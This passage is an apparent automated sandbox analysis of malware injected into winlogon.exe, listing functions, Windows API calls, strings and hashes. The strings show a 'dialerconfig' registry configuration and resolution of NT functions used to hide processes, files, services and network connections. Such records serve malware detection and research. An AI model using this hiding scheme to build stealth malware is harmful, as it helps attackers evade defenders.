Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 564, Parent PID: 6768COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	94.4%
Signature Coverage:	0%
Total number of Nodes:	107
Total number of Limit Nodes:	16

Executed Functions

Function 000001E858981628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981633
HeapAlloc.KERNEL32 ref: 000001E858981642

Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E85898126E
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E85898127D
Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E858981297
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E8589812A8

RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
RegCloseKey.ADVAPI32 ref: 000001E8589816F9
RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
RegCloseKey.ADVAPI32 ref: 000001E858981734
RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
RegCloseKey.ADVAPI32 ref: 000001E85898176F
RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
RegCloseKey.ADVAPI32 ref: 000001E8589817AA
RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA
RegCloseKey.ADVAPI32 ref: 000001E8589817E5
RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
RegCloseKey.ADVAPI32 ref: 000001E858981820
RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
RegCloseKey.ADVAPI32 ref: 000001E85898185B
RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
RegCloseKey.ADVAPI32 ref: 000001E858981896
RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Part of subcall function 000001E8589812BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E858981327
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E858981338
Part of subcall function 000001E8589812BC: RegEnumValueW.ADVAPI32 ref: 000001E858981397
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E8589813DF
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E8589813ED
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898140A
Part of subcall function 000001E8589812BC: HeapFree.KERNEL32 ref: 000001E858981418
Part of subcall function 000001E8589812BC: lstrlenW.KERNEL32 ref: 000001E858981421
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898142F
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E85898143D

Strings

process_names, xrefs: 000001E85898174D
paths, xrefs: 000001E858981788
service_names, xrefs: 000001E8589817C3
tcp_local, xrefs: 000001E8589817FE
startup, xrefs: 000001E8589816D5
tcp_remote, xrefs: 000001E858981839
udp, xrefs: 000001E858981874
pid, xrefs: 000001E858981712
SOFTWARE\dialerconfig, xrefs: 000001E858981692

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 21d86d412d1650ae27b0043b2d401094e46d8c624b6cd0b43ec9435d42789ffa
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2D710A36321A91C6EB10AF66E8916EDB3A5FF84B98F401132DE4E57B69EF38C454C740

Function 000001E858983790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001E85898379E
GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
GetCurrentProcess.KERNEL32 ref: 000001E858983809
VirtualProtectEx.KERNEL32 ref: 000001E85898382A

Strings

wr, xrefs: 000001E8589837FF

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d234e4461be7ce666b4697da3425b0a366aa51e2e4cc7be98c343ce9cae75724
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 05115B36724BC1C2EF159B22E4086ADB2A1FB88B85F44003ADE8E07794EF3DC505CB04

Function 000001E858985B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B
GetThreadContext.KERNEL32 ref: 000001E858985CD5

Part of subcall function 000001E858985960: GetCurrentThreadId.KERNEL32 ref: 000001E858985964

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: a4617b46cd32b3a0414ab7f2d2c5e1ab313b6a71b2cba704dad36ec99b28e09a
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: 9DD17776214B89C6DB709B56E49439EB7A0FB88B84F500126EE8D47BA9DF3CC545CF40

Function 000001E8589850D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985156

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: fa7807662b3792369c97fc6f37bebb2b001074cd7c6065ce50333d33d1213250
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 11029436229BC5C6EB60CB59E49079EB7A1F785794F104026EA8E87BA9DF7CC454CF00

Function 000001E8589839E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001E858983A66
VirtualAlloc.KERNEL32 ref: 000001E858983AA0

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 5ad133b89d074dd97bec0c1f73fb02c24c1f243091b434175b3c7d6c02ead25a
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: E531EC32239AC5C1EA70DA15E85539EF6A4FB88784F500536EACE46BA8DF7DC5809F04

Function 000001E85898328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001E8589832AE
PathFindFileNameW.SHLWAPI ref: 000001E8589832BD

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

Part of subcall function 000001E858983790: GetModuleHandleW.KERNEL32 ref: 000001E85898379E
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E858983809
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E85898382A

CreateThread.KERNEL32 ref: 000001E85898330B

Part of subcall function 000001E858981D14: GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 9367effade6da1e612e9811c82477e14b03a08a888ac1948d4cbee7ffa7af72d
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: F41152716346C2C2FB60AB62F8493DDF294BF54385F90413FAD4E82995EF7CC0849A10

Function 000001E858984DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001E858984DF4
VirtualProtect.KERNEL32 ref: 000001E858984E37
FlushInstructionCache.KERNEL32 ref: 000001E858984E4C

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 5a9e8cf37d9f90f00b28642c3c3ed99c7679eb8f6b8d0d5ae9ec7e4d6c0d13b2
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: DFF01D76228B85C1D630DB51E44038EBBA0FB887D4F140122BE8D43B69CE3CC5808F00

Function 000001E85895273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589527DB
LoadLibraryA.KERNELBASE ref: 000001E85895285E

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 664efa2306450b3d651c980b7901db96b5cccce9d6076fff7dea8f6b8d110b4a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 3261CC72B21690C7DA548F95D1207ADF3A2FF54BA5F588132DE5D07788DE38D852C700

Function 000001E858981ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001E858981628: GetProcessHeap.KERNEL32 ref: 000001E858981633
Part of subcall function 000001E858981628: HeapAlloc.KERNEL32 ref: 000001E858981642
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589816F9
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981734
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898176F
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817AA
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA

Sleep.KERNEL32 ref: 000001E858981AD7
SleepEx.KERNELBASE ref: 000001E858981ADD

Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817E5
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981820
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898185B
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981896
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 4bfe8da4bf64d09d75688e0bc86698689cfa1098149370d4ad6d534f2979ed62
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: D7317771231AC2D6EB50BB26DA513FDF3A9AF84BD0F0454339E0D87699FE24C8918A10

Function 000001E8589B273C Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589B27DB

Memory Dump Source

Source File: 00000015.00000002.3376109927.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c921608bc3ed8dae174af04d789195309c5edfcc0c714fa749226a5546365456
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7161DD32B29690CBEB548F95D1007ADF3A2FB54BA5F588136DE5D07788DE38D852C700

Non-executed Functions

Function 000001E858982B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001E858982BD0
lstrlenW.KERNEL32 ref: 000001E858982E0A

Part of subcall function 000001E85898199C: OpenProcess.KERNEL32 ref: 000001E8589819C2
Part of subcall function 000001E85898199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
Part of subcall function 000001E85898199C: PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
Part of subcall function 000001E85898199C: lstrlenW.KERNEL32 ref: 000001E8589819FB
Part of subcall function 000001E85898199C: StrCpyW.SHLWAPI ref: 000001E858981A0E
Part of subcall function 000001E85898199C: CloseHandle.KERNEL32 ref: 000001E858981A1C

GetProcAddress.KERNEL32 ref: 000001E858982BE5

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

StrCmpNIW.SHLWAPI ref: 000001E858982C28
lstrlenW.KERNEL32 ref: 000001E858982D50

Strings

NtQueryObject, xrefs: 000001E858982BDB
\Device\Nsi, xrefs: 000001E858982C1B
ntdll.dll, xrefs: 000001E858982BC9

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 04a661148b50104311287319c74e3cfe1c909468e327bc71e4abbcab7385a8c3
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A6B15476220AD2C6EB699FA5D8407EDF3A5FB84B84F445027EE0D57B95EE35C880CB40

Function 000001E858987D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001E858987DAC
RtlCaptureContext.NTDLL ref: 000001E858987DD9
RtlLookupFunctionEntry.NTDLL ref: 000001E858987DF3
RtlVirtualUnwind.NTDLL ref: 000001E858987E34
IsDebuggerPresent.KERNEL32 ref: 000001E858987E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E858987EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001E858987EB4

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c25654e1fbf133ad71a07c6f0efe47fc9d8043adbf42997a59493c9db71f9faa
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 41313B76225BC1DAEB609F60E8807EDB365FB84744F44442ADA4E57B99EF38C648CB10

Function 000001E85898D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001E85898D31D
RtlLookupFunctionEntry.NTDLL ref: 000001E85898D335
RtlVirtualUnwind.NTDLL ref: 000001E85898D370
IsDebuggerPresent.KERNEL32 ref: 000001E85898D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3BE

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 0fd8bee66b9aa75a719588d4164310d191915e835c40ed0449f42a8a8d7cafff
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: A5313D36224BC1D6EB60DB25E8403EEB3A4FB89754F500126EE9D53B59DF38C555CB00

Function 000001E858987960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001E85898798C
GetCurrentThreadId.KERNEL32 ref: 000001E85898799A
GetCurrentProcessId.KERNEL32 ref: 000001E8589879A6
QueryPerformanceCounter.KERNEL32 ref: 000001E8589879B6

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 34985af1e6a69c2e887ac8394de09c6f631af6656f7e96728bd996360b5e390c
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 7D111C36720F91C9EB109B60E8553AD73A4FB19758F440E32DE6E467A4DF78D1988380

Function 000001E85898DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 30bb9f7e9d87a9d9c65bc2380062ff3bad17e1f141d89e57fb0a08f8465aebfb
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: C551B5327246D1D9FB209B72E8407EEBBA5FB84794F144126EE9D67B95DE38C501CB00

Function 000001E8589636F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3374749098.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858950000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 1e72e37fc9f235eb4f944ff72101e8db7dacc5524e3e801771df4715c73e88ad
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: 1BF0F4716356948EDB988F69E443759B7A1F748384FD0812ADA8EC3A14DB3C8455CF14

Function 000001E8589812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
GetProcessHeap.KERNEL32 ref: 000001E858981327
HeapAlloc.KERNEL32 ref: 000001E858981338
RegEnumValueW.ADVAPI32 ref: 000001E858981397

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

GetProcessHeap.KERNEL32 ref: 000001E8589813DF
HeapAlloc.KERNEL32 ref: 000001E8589813ED
GetProcessHeap.KERNEL32 ref: 000001E85898140A
HeapFree.KERNEL32 ref: 000001E858981418
lstrlenW.KERNEL32 ref: 000001E858981421
GetProcessHeap.KERNEL32 ref: 000001E85898142F
HeapAlloc.KERNEL32 ref: 000001E85898143D
StrCpyW.SHLWAPI ref: 000001E85898145F
GetProcessHeap.KERNEL32 ref: 000001E858981476
HeapFree.KERNEL32 ref: 000001E858981484

Strings

d, xrefs: 000001E85898135A

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: c2281e23739868d66036d4294d6c0683aafed4b8ecad6af3162b140505f798a1
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 4E512B36224BC5C6EB65DF62E54439EB7A2FB89BD9F044126DE4A07768EF38C0458B00

Function 000001E858981D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Part of subcall function 000001E858981FD4: GetModuleHandleA.KERNEL32 ref: 000001E858981FEC
Part of subcall function 000001E858981FD4: GetProcAddress.KERNEL32 ref: 000001E858981FFD

Part of subcall function 000001E858985B30: GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B

Strings

EnumServicesStatusExW, xrefs: 000001E858981E11, 000001E858981E32
NtResumeThread, xrefs: 000001E858981D62
NtQueryDirectoryFileEx, xrefs: 000001E858981D9C
NtQuerySystemInformation, xrefs: 000001E858981D45
NtQueryDirectoryFile, xrefs: 000001E858981D7F
NtEnumerateValueKey, xrefs: 000001E858981DD6
EnumServiceGroupW, xrefs: 000001E858981DF0
NtDeviceIoControlFile, xrefs: 000001E858981E56
advapi32.dll, xrefs: 000001E858981DF7, 000001E858981E18
NtEnumerateKey, xrefs: 000001E858981DB9
sechost.dll, xrefs: 000001E858981E39
ntdll.dll, xrefs: 000001E858981D2D

Memory Dump Source

Source File: 00000015.00000002.3375225930.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: eae4a35ccf18d1ff6c879c1ad54c2bd4091f653bf096b8bfe55e41d2011e4d15
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 35316074130ACBE0EA45EBA9EDA16ECF322FF84344F8050339C1D12565AF788289CB50

Function 000001E8589B6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

